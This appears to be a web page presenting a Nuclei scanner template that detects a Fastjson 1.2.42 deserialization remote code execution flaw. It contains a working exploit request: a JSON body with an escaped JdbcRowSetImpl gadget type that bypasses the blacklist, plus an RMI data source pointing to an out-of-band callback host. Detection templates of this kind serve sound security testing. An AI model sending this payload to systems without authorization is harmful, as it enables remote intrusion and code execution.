Fastjson 1.2.42 - Remote Code Execution

ID: fastjson-1-2-42-rce

Severity: critical

Author: zh

Tags: fastjson,rce,deserialization,oast

Description

Fastjson 1.2.42 is susceptible to a deserialization remote code execution vulnerability

YAML Source

id: fastjson-1-2-42-rce

info:
  name: Fastjson 1.2.42 - Remote Code Execution
  author: zh
  severity: critical
  description: Fastjson 1.2.42 is susceptible to a deserialization remote code execution vulnerability
  reference:
    - https://github.com/tdtc7/qps/tree/4042cf76a969ccded5b30f0669f67c9e58d1cfd2/Fastjson
    - https://github.com/wyzxxz/fastjson_rce_tool
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: fastjson,rce,deserialization,oast

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
           "@type":"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;",
           "dataSourceName":"rmi://{{interactsh-url}}/Exploit",
           "autoCommit":true
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms DNS Interaction
        words:
          - "dns"

      - type: status
        negative: true
        status:
          - 200
# digest: 490a00463044022016764bed191bdb04f855c884b7ae760bc5bf15de64fdb5215ae2a592b9fd0eed022014595a6b1d461165216e87045de234e06652e3514df6dd2c4bcae1cba9e4a43e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml"

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